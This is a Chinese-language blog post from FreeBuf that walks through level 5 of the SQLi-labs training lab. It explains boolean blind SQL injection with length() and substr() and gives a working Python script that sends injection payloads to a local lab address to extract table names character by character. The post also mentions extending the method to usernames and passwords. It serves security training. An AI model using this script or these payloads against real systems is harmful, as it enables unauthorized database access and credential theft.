freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQLILABS-详解less-5
我叫树新风wei 2024-02-28 10:52:36 101898

打开靶场第五关

一、选择第五关

1709085047_65de917703da46f6f2062.png!small

点击进入打开页面

1709085071_65de918feb039ca6277b0.png!small

按照提示,输入ID

1709085198_65de920e0daa3843b86f1.png!small

1709085616_65de93b00eb2fcc448996.png!small

二、通过代码审计,发现不管对错只会存在回显和无回显两种,所以union联合方式不适用此题,从上图注入方式可知存在三列

1709085692_65de93fc883f234496342.png!small

三、通过布尔盲注方式进行,利用length来确认数据库字符长度

1709086087_65de9587b638f961d5cf7.png!small

四、利用BP进行抓取爆破发现,数据库库名长度为8个字符

1709086572_65de976c78dba4d74cd92.png!small

通过substr可以查看到对应的第一个字符是S或者s,根据这个情况可以逐一爆出

函数 substr(a,b,c),a是截取的字符串 ,b是截取的位置 ,c是截取的长度

1709087065_65de99594092b0e7187af.png!small

1709087087_65de996fe239b2e8b2473.png!small

最终确认数据库名称8位以及名称为security

1709087155_65de99b332e573f46bec9.png!small

编写脚本进行枚举爆出

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://192.168.1.200:5151/sqlilabs/Less-5"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
	                (select group_concat(table_name)
                    from information_schema.tables where table_schema=database())
                ) = {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
	                substr(
		                (select group_concat(table_name)
                        from information_schema.tables where table_schema=database())
	                ,{n},1)
                ) = {r} -- a"""


# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url=url + payload_len.format(n=length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length, )
            return length;
        else:
            print('正在测试长度:', length)
            length += 1  # 测试长度递增


# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length + 1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            response = requests.get(url=url + payload_str.format(n=l, r=n))
            # 页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str += chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;


# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

1709088696_65de9fb82e584768e589f.png!small

1709088706_65de9fc20ce1f9bce4467.png!small

后续也可根据脚本编写爆出对应的用户名和密码

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 我叫树新风wei 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
我叫树新风wei LV.3
这家伙太懒了,还未填写个人描述!
  • 7 文章数
  • 2 关注者
SQLILABS-详解less-4
2024-02-28
SQLILABS-详解less-3
2024-02-28
SQLILABS-详解less-2
2024-02-28